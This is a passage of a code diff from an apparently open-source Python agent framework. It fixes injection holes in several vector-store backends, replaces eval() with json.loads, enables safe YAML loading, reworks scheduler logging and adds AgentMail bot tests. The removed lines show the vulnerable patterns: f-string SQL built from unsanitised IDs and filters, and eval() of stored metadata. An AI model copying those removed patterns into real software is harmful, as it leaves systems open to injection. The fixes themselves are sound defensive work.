)
|
||||
else:
|
||||
logger.warning(f"Unknown channel type: {channel_type}")
|
||||
return None
|
||||
|
||||
@@ -237,7 +237,7 @@ class SurrealDBConversationStore(ConversationStore):
|
||||
params["after"] = after
|
||||
|
||||
where = "WHERE " + " AND ".join(conditions)
|
||||
limit_clause = f"LIMIT {limit}" if limit else ""
|
||||
limit_clause = f"LIMIT {int(limit)}" if limit else ""
|
||||
|
||||
result = self._run_sync(
|
||||
self._client.query(
|
||||
|
||||
@@ -6,6 +6,7 @@ Install: pip install clickhouse-connect
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from .base import KnowledgeStore, KnowledgeDocument
|
||||
@@ -13,6 +14,13 @@ from .base import KnowledgeStore, KnowledgeDocument
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _sanitize_identifier(name: str) -> str:
|
||||
"""Sanitize a SQL identifier (table/database name) to prevent injection."""
|
||||
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_.]*$', name):
|
||||
raise ValueError(f"Invalid identifier: {name}")
|
||||
return name
|
||||
|
||||
|
||||
class ClickHouseKnowledgeStore(KnowledgeStore):
|
||||
"""
|
||||
ClickHouse-based knowledge store using vector search.
|
||||
@@ -52,11 +60,11 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
|
||||
self.database = database
|
||||
|
||||
# Create database if not exists
|
||||
self._client.command(f"CREATE DATABASE IF NOT EXISTS {database}")
|
||||
self._client.command(f"CREATE DATABASE IF NOT EXISTS {_sanitize_identifier(database)}")
|
||||
logger.info(f"Connected to ClickHouse database: {database}")
|
||||
|
||||
def _table_name(self, collection: str) -> str:
|
||||
return f"{self.database}.praison_vec_{collection}"
|
||||
return _sanitize_identifier(f"{self.database}.praison_vec_{collection}")
|
||||
|
||||
def create_collection(
|
||||
self,
|
||||
@@ -98,10 +106,11 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
|
||||
|
||||
def list_collections(self) -> List[str]:
|
||||
"""List all collections."""
|
||||
result = self._client.query(f"""
|
||||
SELECT name FROM system.tables
|
||||
WHERE database = '{self.database}' AND name LIKE 'praison_vec_%'
|
||||
""")
|
||||
db = _sanitize_identifier(self.database)
|
||||
result = self._client.query(
|
||||
"SELECT name FROM system.tables WHERE database = %(db)s AND name LIKE 'praison_vec_%%'",
|
||||
parameters={"db": db}
|
||||
)
|
||||
return [row[0].replace("praison_vec_", "") for row in result.result_rows]
|
||||
|
||||
def insert(
|
||||
@@ -156,19 +165,20 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
|
||||
"""Search for similar documents using cosine distance."""
|
||||
table = self._table_name(collection)
|
||||
|
||||
# Convert embedding to string for query
|
||||
embedding_str = "[" + ",".join(map(str, query_embedding)) + "]"
|
||||
|
||||
# Convert embedding to validated float array for query
|
||||
embedding_str = "[" + ",".join(str(float(x)) for x in query_embedding) + "]"
|
||||
limit = int(limit)
|
||||
|
||||
query = f"""
|
||||
SELECT
|
||||
SELECT
|
||||
id, content, content_hash, created_at,
|
||||
1 - cosineDistance(embedding, {embedding_str}) as score
|
||||
FROM {table}
|
||||
"""
|
||||
|
||||
|
||||
if score_threshold:
|
||||
query += f" WHERE 1 - cosineDistance(embedding, {embedding_str}) >= {score_threshold}"
|
||||
|
||||
query += f" WHERE 1 - cosineDistance(embedding, {embedding_str}) >= {float(score_threshold)}"
|
||||
|
||||
query += f" ORDER BY score DESC LIMIT {limit}"
|
||||
|
||||
result = self._client.query(query)
|
||||
@@ -195,11 +205,12 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
|
||||
"""Get documents by IDs."""
|
||||
table = self._table_name(collection)
|
||||
|
||||
id_list = ", ".join([f"'{i}'" for i in ids])
|
||||
result = self._client.query(f"""
|
||||
SELECT id, content, content_hash, created_at, embedding
|
||||
FROM {table} WHERE id IN ({id_list})
|
||||
""")
|
||||
placeholders = ", ".join(["%(id_{})s".format(idx) for idx in range(len(ids))])
|
||||
params = {"id_{}".format(idx): i for idx, i in enumerate(ids)}
|
||||
result = self._client.query(
|
||||
f"SELECT id, content, content_hash, created_at, embedding FROM {table} WHERE id IN ({placeholders})",
|
||||
parameters=params
|
||||
)
|
||||
|
||||
documents = []
|
||||
for row in result.result_rows:
|
||||
@@ -225,8 +236,12 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
|
||||
table = self._table_name(collection)
|
||||
|
||||
if ids:
|
||||
id_list = ", ".join([f"'{i}'" for i in ids])
|
||||
self._client.command(f"ALTER TABLE {table} DELETE WHERE id IN ({id_list})")
|
||||
placeholders = ", ".join(["%(id_{})s".format(idx) for idx in range(len(ids))])
|
||||
params = {"id_{}".format(idx): i for idx, i in enumerate(ids)}
|
||||
self._client.command(
|
||||
f"ALTER TABLE {table} DELETE WHERE id IN ({placeholders})",
|
||||
parameters=params
|
||||
)
|
||||
return len(ids)
|
||||
return 0
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ Install: pip install lancedb
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from .base import KnowledgeStore, KnowledgeDocument
|
||||
@@ -13,6 +14,18 @@ from .base import KnowledgeStore, KnowledgeDocument
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _sanitize_identifier(name: str) -> str:
|
||||
"""Sanitize a SQL identifier to prevent injection."""
|
||||
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', name):
|
||||
raise ValueError(f"Invalid identifier: {name}")
|
||||
return name
|
||||
|
||||
|
||||
def _escape_value(val: str) -> str:
|
||||
"""Escape a string value for use in LanceDB WHERE clauses."""
|
||||
return str(val).replace("'", "''").replace("\\", "\\\\")
|
||||
|
||||
|
||||
class LanceDBKnowledgeStore(KnowledgeStore):
|
||||
"""
|
||||
LanceDB-based knowledge store for vector search.
|
||||
@@ -140,9 +153,9 @@ class LanceDBKnowledgeStore(KnowledgeStore):
|
||||
query = table.search(query_embedding).limit(limit)
|
||||
|
||||
if filters:
|
||||
where_clauses = [f"{k} = '{v}'" for k, v in filters.items()]
|
||||
where_clauses = [f"{_sanitize_identifier(k)} = '{_escape_value(v)}'" for k, v in filters.items()]
|
||||
query = query.where(" AND ".join(where_clauses))
|
||||
|
||||
|
||||
results = query.to_pandas()
|
||||
|
||||
documents = []
|
||||
@@ -170,7 +183,7 @@ class LanceDBKnowledgeStore(KnowledgeStore):
|
||||
"""Get documents by IDs."""
|
||||
table = self._get_table(collection)
|
||||
|
||||
id_list = ", ".join([f"'{i}'" for i in ids])
|
||||
id_list = ", ".join([f"'{_escape_value(i)}'" for i in ids])
|
||||
results = table.search().where(f"id IN ({id_list})").to_pandas()
|
||||
|
||||
documents = []
|
||||
@@ -197,11 +210,11 @@ class LanceDBKnowledgeStore(KnowledgeStore):
|
||||
table = self._get_table(collection)
|
||||
|
||||
if ids:
|
||||
id_list = ", ".join([f"'{i}'" for i in ids])
|
||||
id_list = ", ".join([f"'{_escape_value(i)}'" for i in ids])
|
||||
table.delete(f"id IN ({id_list})")
|
||||
return len(ids)
|
||||
elif filters:
|
||||
where_clauses = [f"{k} = '{v}'" for k, v in filters.items()]
|
||||
where_clauses = [f"{_sanitize_identifier(k)} = '{_escape_value(v)}'" for k, v in filters.items()]
|
||||
table.delete(" AND ".join(where_clauses))
|
||||
return -1
|
||||
return 0
|
||||
|
||||
@@ -6,6 +6,7 @@ Install: pip install pymilvus
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from .base import KnowledgeStore, KnowledgeDocument
|
||||
@@ -13,6 +14,18 @@ from .base import KnowledgeStore, KnowledgeDocument
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _sanitize_identifier(name: str) -> str:
|
||||
"""Sanitize a Milvus field name to prevent injection."""
|
||||
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', name):
|
||||
raise ValueError(f"Invalid field name: {name}")
|
||||
return name
|
||||
|
||||
|
||||
def _escape_value(val: str) -> str:
|
||||
"""Escape a string value for use in Milvus expressions."""
|
||||
return str(val).replace('\\', '\\\\').replace('"', '\\"')
|
||||
|
||||
|
||||
class MilvusKnowledgeStore(KnowledgeStore):
|
||||
"""
|
||||
Milvus-based knowledge store for vector search.
|
||||
@@ -180,9 +193,9 @@ class MilvusKnowledgeStore(KnowledgeStore):
|
||||
|
||||
expr = None
|
||||
if filters:
|
||||
conditions = [f'{k} == "{v}"' for k, v in filters.items()]
|
||||
conditions = [f'{_sanitize_identifier(k)} == "{_escape_value(v)}"' for k, v in filters.items()]
|
||||
expr = " and ".join(conditions)
|
||||
|
||||
|
||||
results = col.search(
|
||||
data=[query_embedding],
|
||||
anns_field="vector",
|
||||
@@ -220,9 +233,9 @@ class MilvusKnowledgeStore(KnowledgeStore):
|
||||
col = Collection(collection)
|
||||
col.load()
|
||||
|
||||
id_list = ", ".join([f'"{i}"' for i in ids])
|
||||
id_list = ", ".join([f'"{_escape_value(i)}"' for i in ids])
|
||||
expr = f"id in [{id_list}]"
|
||||
|
||||
|
||||
results = col.query(
|
||||
expr=expr,
|
||||
output_fields=["id", "content", "content_hash", "created_at", "vector"],
|
||||
@@ -254,12 +267,12 @@ class MilvusKnowledgeStore(KnowledgeStore):
|
||||
col.load()
|
||||
|
||||
if ids:
|
||||
id_list = ", ".join([f'"{i}"' for i in ids])
|
||||
id_list = ", ".join([f'"{_escape_value(i)}"' for i in ids])
|
||||
expr = f"id in [{id_list}]"
|
||||
col.delete(expr)
|
||||
return len(ids)
|
||||
elif filters:
|
||||
conditions = [f'{k} == "{v}"' for k, v in filters.items()]
|
||||
conditions = [f'{_sanitize_identifier(k)} == "{_escape_value(v)}"' for k, v in filters.items()]
|
||||
expr = " and ".join(conditions)
|
||||
col.delete(expr)
|
||||
return -1
|
||||
|
||||
@@ -5,6 +5,7 @@ Requires: singlestoredb
|
||||
Install: pip install singlestoredb
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
@@ -227,7 +228,7 @@ class SingleStoreVectorKnowledgeStore(KnowledgeStore):
|
||||
documents.append(KnowledgeDocument(
|
||||
id=row[0],
|
||||
content=row[1],
|
||||
metadata=eval(row[2]) if row[2] else None,
|
||||
metadata=json.loads(row[2]) if row[2] else None,
|
||||
content_hash=row[3],
|
||||
created_at=row[4]
|
||||
))
|
||||
@@ -256,7 +257,7 @@ class SingleStoreVectorKnowledgeStore(KnowledgeStore):
|
||||
KnowledgeDocument(
|
||||
id=row[0],
|
||||
content=row[1],
|
||||
metadata=eval(row[2]) if row[2] else None,
|
||||
metadata=json.loads(row[2]) if row[2] else None,
|
||||
content_hash=row[3],
|
||||
created_at=row[4]
|
||||
)
|
||||
|
||||
@@ -199,8 +199,9 @@ class SurrealDBVectorKnowledgeStore(KnowledgeStore):
|
||||
"""Search for similar documents using vector search."""
|
||||
self._init_client()
|
||||
|
||||
# SurrealDB vector search query
|
||||
embedding_str = str(query_embedding)
|
||||
# SurrealDB vector search query - validate numeric inputs
|
||||
embedding_str = "[" + ",".join(str(float(x)) for x in query_embedding) + "]"
|
||||
limit = int(limit)
|
||||
query = f"""
|
||||
SELECT *, vector::similarity::cosine(embedding, {embedding_str}) AS score
|
||||
FROM {collection}
|
||||
|
||||
@@ -56,7 +56,7 @@ class PlanApplier:
|
||||
# Try to use ruamel.yaml for comment preservation
|
||||
try:
|
||||
from ruamel.yaml import YAML
|
||||
self._yaml = YAML()
|
||||
self._yaml = YAML(typ='safe')
|
||||
self._yaml.preserve_quotes = True
|
||||
self._use_ruamel = True
|
||||
except ImportError:
|
||||
|
||||
@@ -173,12 +173,18 @@ class ScheduledAgentExecutor:
|
||||
|
||||
# Skip jobs with no message
|
||||
if not message:
|
||||
self._runner.mark_run(job)
|
||||
duration = time.time() - started
|
||||
self._runner.mark_run(
|
||||
job,
|
||||
status="skipped",
|
||||
error="No message configured",
|
||||
duration=duration,
|
||||
)
|
||||
return JobResult(
|
||||
job=job,
|
||||
status="skipped",
|
||||
error="No message configured",
|
||||
duration=time.time() - started,
|
||||
duration=duration,
|
||||
)
|
||||
|
||||
# Resolve the agent
|
||||
@@ -187,19 +193,23 @@ class ScheduledAgentExecutor:
|
||||
except Exception as e:
|
||||
logger.warning("Agent resolution failed for job '%s': %s", job.id, e)
|
||||
err = f"Agent resolution failed: {e}"
|
||||
duration = time.time() - started
|
||||
self._runner.mark_run(job, status="failed", error=err, duration=duration)
|
||||
if self._on_failure:
|
||||
self._on_failure(job, err)
|
||||
return JobResult(
|
||||
job=job, status="failed", error=err, duration=time.time() - started,
|
||||
job=job, status="failed", error=err, duration=duration,
|
||||
)
|
||||
|
||||
if agent is None:
|
||||
err = f"No agent found for agent_id={agent_id!r}"
|
||||
logger.warning("Skipping job '%s': %s", job.id, err)
|
||||
duration = time.time() - started
|
||||
self._runner.mark_run(job, status="failed", error=err, duration=duration)
|
||||
if self._on_failure:
|
||||
self._on_failure(job, err)
|
||||
return JobResult(
|
||||
job=job, status="failed", error=err, duration=time.time() - started,
|
||||
job=job, status="failed", error=err, duration=duration,
|
||||
)
|
||||
|
||||
# Execute via agent.chat() in a thread (sync-safe)
|
||||
@@ -227,14 +237,15 @@ class ScheduledAgentExecutor:
|
||||
except Exception as e:
|
||||
logger.warning("Job '%s' execution failed: %s", job.id, e)
|
||||
err = str(e)
|
||||
duration = time.time() - started
|
||||
self._runner.mark_run(job, status="failed", error=err, duration=duration)
|
||||
if self._on_failure:
|
||||
self._on_failure(job, err)
|
||||
return JobResult(
|
||||
job=job, status="failed", error=err, duration=time.time() - started,
|
||||
job=job, status="failed", error=err, duration=duration,
|
||||
)
|
||||
|
||||
# Success
|
||||
self._runner.mark_run(job)
|
||||
# Success - calculate duration before delivery
|
||||
duration = time.time() - started
|
||||
|
||||
# Deliver to channel bot if delivery target exists
|
||||
@@ -256,6 +267,15 @@ class ScheduledAgentExecutor:
|
||||
job.id, delivery.channel, delivery.channel_id, e,
|
||||
)
|
||||
|
||||
# Log history with execution results
|
||||
self._runner.mark_run(
|
||||
job,
|
||||
status="succeeded",
|
||||
result=result_str,
|
||||
duration=duration,
|
||||
delivered=delivered,
|
||||
)
|
||||
|
||||
if self._on_success:
|
||||
self._on_success(job, result_str)
|
||||
|
||||
|
||||
@@ -112,7 +112,15 @@ class ToolResolver:
|
||||
if hasattr(agent_tools, 'TOOL_MAPPINGS'):
|
||||
if name in agent_tools.TOOL_MAPPINGS:
|
||||
# Use __getattr__ to lazily load the tool
|
||||
tool = getattr(agent_tools, name, None)
|
||||
try:
|
||||
tool = getattr(agent_tools, name)
|
||||
except Exception as e:
|
||||
# Tool exists in TOOL_MAPPINGS but failed to load
|
||||
# (e.g. missing dependency like psutil)
|
||||
logger.warning(
|
||||
f"Tool '{name}' exists in TOOL_MAPPINGS but failed to load: {e}"
|
||||
)
|
||||
return None
|
||||
if tool is not None:
|
||||
logger.debug(f"Resolved '{name}' from praisonaiagents.tools")
|
||||
return tool
|
||||
|
||||
@@ -1 +1 @@
|
||||
__version__ = "4.5.63"
|
||||
__version__ = "4.5.80"
|
||||
@@ -12,7 +12,7 @@ dependencies = [
|
||||
"rich>=13.7",
|
||||
"markdown>=3.5",
|
||||
"pyparsing>=3.0.0",
|
||||
"praisonaiagents>=1.5.63",
|
||||
"praisonaiagents>=1.5.80",
|
||||
"python-dotenv>=0.19.0",
|
||||
"litellm>=1.81.0",
|
||||
"PyYAML>=6.0",
|
||||
@@ -72,6 +72,7 @@ realtime = [
|
||||
"greenlet>=3.0.3",
|
||||
"tavily-python==0.5.0",
|
||||
"crawl4ai>=0.7.0",
|
||||
"playwright>=1.47.0", # required by crawl4ai — browsers still need: playwright install chromium
|
||||
"websockets>=12.0",
|
||||
"plotly>=5.24.0",
|
||||
"yfinance>=0.2.44",
|
||||
@@ -122,6 +123,7 @@ all = [
|
||||
"plotly>=5.24.0",
|
||||
"yfinance>=0.2.44",
|
||||
"ddgs>=9.0.0",
|
||||
"psutil>=5.9.0", # Shell tools
|
||||
]
|
||||
bot = [
|
||||
# Dependencies for Telegram, Discord, Slack, and WhatsApp bots
|
||||
@@ -132,6 +134,7 @@ bot = [
|
||||
"brotlicffi>=1.0.0",
|
||||
"aiohttp>=3.8.0",
|
||||
"ddgs>=9.0.0", # DuckDuckGo search for agent web tools
|
||||
"psutil>=5.9.0", # Shell tools (execute_command, list_processes, get_system_info)
|
||||
]
|
||||
bot-whatsapp-web = [
|
||||
# WhatsApp Web mode (experimental, token-free via QR scan)
|
||||
@@ -156,8 +159,11 @@ claw = [
|
||||
# Search + browsing
|
||||
"tavily-python==0.5.0",
|
||||
"crawl4ai>=0.7.0",
|
||||
"playwright>=1.47.0", # required by crawl4ai — browsers still need: playwright install chromium
|
||||
"websockets>=12.0",
|
||||
"ddgs>=9.0.0",
|
||||
# Shell tools
|
||||
"psutil>=5.9.0",
|
||||
# Bot channels (Telegram, Discord, Slack)
|
||||
"python-telegram-bot>=20.0",
|
||||
"discord.py>=2.0.0",
|
||||
|
||||
@@ -0,0 +1,333 @@
|
||||
"""
|
||||
Unit tests for AgentMailBot implementation.
|
||||
|
||||
Tests cover:
|
||||
- Registry integration
|
||||
- Lazy import
|
||||
- YAML validation
|
||||
- Bot structure and properties
|
||||
- Email utilities (shared with EmailBot)
|
||||
- Command and message handlers
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
|
||||
class TestAgentMailPlatformRegistry:
|
||||
"""Test AgentMail platform registration in SDK."""
|
||||
|
||||
def test_agentmail_in_builtin_platforms(self):
|
||||
"""AgentMail should be in _BUILTIN_PLATFORMS."""
|
||||
from praisonai.bots._registry import _BUILTIN_PLATFORMS
|
||||
|
||||
assert "agentmail" in _BUILTIN_PLATFORMS
|
||||
assert _BUILTIN_PLATFORMS["agentmail"] == ("praisonai.bots.agentmail", "AgentMailBot")
|
||||
|
||||
def test_resolve_adapter_returns_agentmail_bot(self):
|
||||
"""resolve_adapter('agentmail') should return AgentMailBot class."""
|
||||
from praisonai.bots._registry import resolve_adapter
|
||||
|
||||
cls = resolve_adapter("agentmail")
|
||||
assert cls.__name__ == "AgentMailBot"
|
||||
|
||||
def test_list_platforms_includes_agentmail(self):
|
||||
"""list_platforms() should include 'agentmail'."""
|
||||
from praisonai.bots._registry import list_platforms
|
||||
|
||||
platforms = list_platforms()
|
||||
assert "agentmail" in platforms
|
||||
|
||||
|
||||
class TestAgentMailLazyImport:
|
||||
"""Test lazy import of AgentMailBot."""
|
||||
|
||||
def test_lazy_import_from_bots_module(self):
|
||||
"""AgentMailBot should be importable from praisonai.bots."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
assert AgentMailBot is not None
|
||||
assert AgentMailBot.__name__ == "AgentMailBot"
|
||||
|
||||
def test_agentmail_bot_in_all(self):
|
||||
"""AgentMailBot should be in __all__."""
|
||||
from praisonai.bots import __all__
|
||||
|
||||
assert "AgentMailBot" in __all__
|
||||
|
||||
|
||||
class TestAgentMailTokenEnvMap:
|
||||
"""Test AgentMail environment variable mappings."""
|
||||
|
||||
def test_agentmail_in_token_env_map(self):
|
||||
"""AgentMail should have token env mapping."""
|
||||
from praisonai.bots.bot import _TOKEN_ENV_MAP
|
||||
|
||||
assert "agentmail" in _TOKEN_ENV_MAP
|
||||
assert _TOKEN_ENV_MAP["agentmail"] == "AGENTMAIL_API_KEY"
|
||||
|
||||
def test_agentmail_in_extra_env_map(self):
|
||||
"""AgentMail should have extra env mappings."""
|
||||
from praisonai.bots.bot import _EXTRA_ENV_MAP
|
||||
|
||||
assert "agentmail" in _EXTRA_ENV_MAP
|
||||
assert "inbox_id" in _EXTRA_ENV_MAP["agentmail"]
|
||||
assert "domain" in _EXTRA_ENV_MAP["agentmail"]
|
||||
|
||||
|
||||
class TestAgentMailYamlValidation:
|
||||
"""Test YAML schema validation for AgentMail channel."""
|
||||
|
||||
def test_valid_platforms_includes_agentmail(self):
|
||||
"""valid_platforms should include 'agentmail'."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
|
||||
# Create a valid config with agentmail channel
|
||||
config = {
|
||||
"channels": {
|
||||
"agentmail": {
|
||||
"bot_token": "am_test_key"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Should not raise
|
||||
schema = BotYamlSchema(**config)
|
||||
assert "agentmail" in schema.channels
|
||||
|
||||
def test_yaml_schema_accepts_agentmail_channel(self):
|
||||
"""BotYamlSchema should accept agentmail as a valid channel."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
|
||||
config = {
|
||||
"channels": {
|
||||
"agentmail": {"bot_token": "test"}
|
||||
}
|
||||
}
|
||||
|
||||
schema = BotYamlSchema(**config)
|
||||
assert schema.channels is not None
|
||||
|
||||
|
||||
class TestAgentMailBotStructure:
|
||||
"""Test AgentMailBot class structure."""
|
||||
|
||||
def test_agentmail_bot_has_required_properties(self):
|
||||
"""AgentMailBot should have required properties."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
assert hasattr(bot, 'platform')
|
||||
assert hasattr(bot, 'is_running')
|
||||
assert hasattr(bot, 'bot_user')
|
||||
assert hasattr(bot, 'email_address')
|
||||
assert bot.platform == "agentmail"
|
||||
|
||||
def test_agentmail_bot_has_required_methods(self):
|
||||
"""AgentMailBot should have required BotProtocol methods."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
assert hasattr(bot, 'start')
|
||||
assert hasattr(bot, 'stop')
|
||||
assert hasattr(bot, 'send_message')
|
||||
assert hasattr(bot, 'probe')
|
||||
assert hasattr(bot, 'health')
|
||||
assert hasattr(bot, 'on_message')
|
||||
assert hasattr(bot, 'on_command')
|
||||
|
||||
def test_agentmail_bot_has_inbox_methods(self):
|
||||
"""AgentMailBot should have inbox lifecycle methods."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
assert hasattr(bot, 'create_inbox')
|
||||
assert hasattr(bot, 'list_inboxes')
|
||||
assert hasattr(bot, 'delete_inbox')
|
||||
|
||||
def test_agentmail_bot_accepts_config(self):
|
||||
"""AgentMailBot should accept BotConfig."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
from praisonaiagents.bots import BotConfig
|
||||
|
||||
config = BotConfig(polling_interval=15)
|
||||
bot = AgentMailBot(token="test_token", config=config)
|
||||
|
||||
assert bot.config == config
|
||||
|
||||
|
||||
class TestEmailUtilsShared:
|
||||
"""Test shared email utilities work correctly."""
|
||||
|
||||
def test_is_auto_reply_detects_auto_submitted(self):
|
||||
"""is_auto_reply should detect Auto-Submitted header."""
|
||||
from praisonai.bots._email_utils import is_auto_reply
|
||||
|
||||
headers = {"auto-submitted": "auto-replied"}
|
||||
assert is_auto_reply(headers) is True
|
||||
|
||||
def test_is_auto_reply_ignores_no_value(self):
|
||||
"""is_auto_reply should ignore auto-submitted: no."""
|
||||
from praisonai.bots._email_utils import is_auto_reply
|
||||
|
||||
headers = {"auto-submitted": "no"}
|
||||
assert is_auto_reply(headers) is False
|
||||
|
||||
def test_is_auto_reply_detects_x_autoreply(self):
|
||||
"""is_auto_reply should detect X-Autoreply header."""
|
||||
from praisonai.bots._email_utils import is_auto_reply
|
||||
|
||||
headers = {"x-autoreply": "yes"}
|
||||
assert is_auto_reply(headers) is True
|
||||
|
||||
def test_is_auto_reply_normal_email(self):
|
||||
"""is_auto_reply should return False for normal emails."""
|
||||
from praisonai.bots._email_utils import is_auto_reply
|
||||
|
||||
headers = {"from": "[email protected]", "subject": "Hello"}
|
||||
assert is_auto_reply(headers) is False
|
||||
|
||||
def test_is_blocked_sender_blocks_mailer_daemon(self):
|
||||
"""is_blocked_sender should block mailer-daemon."""
|
||||
from praisonai.bots._email_utils import is_blocked_sender
|
||||
|
||||
assert is_blocked_sender("[email protected]") is True
|
||||
|
||||
def test_is_blocked_sender_blocks_noreply(self):
|
||||
"""is_blocked_sender should block noreply addresses."""
|
||||
from praisonai.bots._email_utils import is_blocked_sender
|
||||
|
||||
assert is_blocked_sender("[email protected]") is True
|
||||
assert is_blocked_sender("[email protected]") is True
|
||||
|
||||
def test_is_blocked_sender_allows_normal(self):
|
||||
"""is_blocked_sender should allow normal senders."""
|
||||
from praisonai.bots._email_utils import is_blocked_sender
|
||||
|
||||
assert is_blocked_sender("[email protected]") is False
|
||||
|
||||
def test_extract_email_address_simple(self):
|
||||
"""extract_email_address should handle simple addresses."""
|
||||
from praisonai.bots._email_utils import extract_email_address
|
||||
|
||||
assert extract_email_address("[email protected]") == "[email protected]"
|
||||
|
||||
def test_extract_email_address_with_name(self):
|
||||
"""extract_email_address should extract from 'Name <email>' format."""
|
||||
from praisonai.bots._email_utils import extract_email_address
|
||||
|
||||
assert extract_email_address("John Doe <[email protected]>") == "[email protected]"
|
||||
|
||||
def test_normalize_subject_strips_re(self):
|
||||
"""normalize_subject should strip Re: prefix."""
|
||||
from praisonai.bots._email_utils import normalize_subject
|
||||
|
||||
assert normalize_subject("Re: Hello") == "Hello"
|
||||
assert normalize_subject("RE: RE: Hello") == "Hello"
|
||||
|
||||
def test_normalize_subject_strips_fwd(self):
|
||||
"""normalize_subject should strip Fwd: prefix."""
|
||||
from praisonai.bots._email_utils import normalize_subject
|
||||
|
||||
assert normalize_subject("Fwd: Hello") == "Hello"
|
||||
|
||||
|
||||
class TestAgentMailBotCommandHandler:
|
||||
"""Test AgentMailBot command and message handlers."""
|
||||
|
||||
def test_on_command_decorator(self):
|
||||
"""on_command should register command handlers."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
@bot.on_command("help")
|
||||
async def help_handler(message):
|
||||
pass
|
||||
|
||||
assert "help" in bot._command_handlers
|
||||
|
||||
def test_on_message_handler(self):
|
||||
"""on_message should register message handlers."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
@bot.on_message
|
||||
def msg_handler(message):
|
||||
pass
|
||||
|
||||
assert len(bot._message_handlers) == 1
|
||||
|
||||
|
||||
class TestBotWrapperAgentMailSupport:
|
||||
"""Test Bot wrapper supports agentmail platform."""
|
||||
|
||||
def test_bot_wrapper_accepts_agentmail_platform(self):
|
||||
"""Bot wrapper should accept 'agentmail' as platform."""
|
||||
from praisonai.bots import Bot
|
||||
|
||||
bot = Bot("agentmail", token="test_token")
|
||||
assert bot._platform == "agentmail"
|
||||
|
||||
|
||||
class TestAgentMailBotProbe:
|
||||
"""Test AgentMailBot probe functionality."""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_probe_returns_probe_result(self):
|
||||
"""probe() should return ProbeResult."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
from praisonaiagents.bots import ProbeResult
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
# Mock the client to avoid actual API calls
|
||||
with patch.object(bot, '_get_client') as mock_get_client:
|
||||
mock_client = MagicMock()
|
||||
mock_client.inboxes.list.return_value = []
|
||||
mock_get_client.return_value = mock_client
|
||||
|
||||
result = await bot.probe()
|
||||
|
||||
assert isinstance(result, ProbeResult)
|
||||
assert result.platform == "agentmail"
|
||||
assert result.ok is True
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_probe_handles_import_error(self):
|
||||
"""probe() should handle missing agentmail package."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
with patch.object(bot, '_get_client', side_effect=ImportError("No module")):
|
||||
result = await bot.probe()
|
||||
|
||||
assert result.ok is False
|
||||
assert "not installed" in result.error
|
||||
|
||||
|
||||
class TestAgentMailBotHealth:
|
||||
"""Test AgentMailBot health functionality."""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_health_returns_health_result(self):
|
||||
"""health() should return HealthResult."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
from praisonaiagents.bots import HealthResult
|
||||
|
||||
bot = AgentMailBot(token="test_token")
|
||||
|
||||
with patch.object(bot, '_get_client') as mock_get_client:
|
||||
mock_client = MagicMock()
|
||||
mock_client.inboxes.list.return_value = []
|
||||
mock_get_client.return_value = mock_client
|
||||
|
||||
result = await bot.health()
|
||||
|
||||
assert isinstance(result, HealthResult)
|
||||
assert result.platform == "agentmail"
|
||||
@@ -0,0 +1,268 @@
|
||||
"""
|
||||
AgentMail Parity Tests — YAML Config, Python API, and AIUI Channel.
|
||||
|
||||
Verifies that all three usage paths produce consistent, working results:
|
||||
1. YAML parity: agentmail-bot.yaml → BotYamlSchema → BotOS
|
||||
2. Python parity: Bot("agentmail") and AgentMailBot() direct
|
||||
3. AIUI parity: SUPPORTED_PLATFORMS, _create_bot_direct, token resolution
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import textwrap
|
||||
|
||||
import pytest
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════
|
||||
# YAML PARITY (6 tests)
|
||||
# ═══════════════════════════════════════════════════════════════════
|
||||
|
||||
class TestYamlParityAgentMail:
|
||||
"""Verify YAML config files work for agentmail platform."""
|
||||
|
||||
def test_yaml_schema_accepts_agentmail(self):
|
||||
"""BotYamlSchema should accept agentmail as a valid channel."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
|
||||
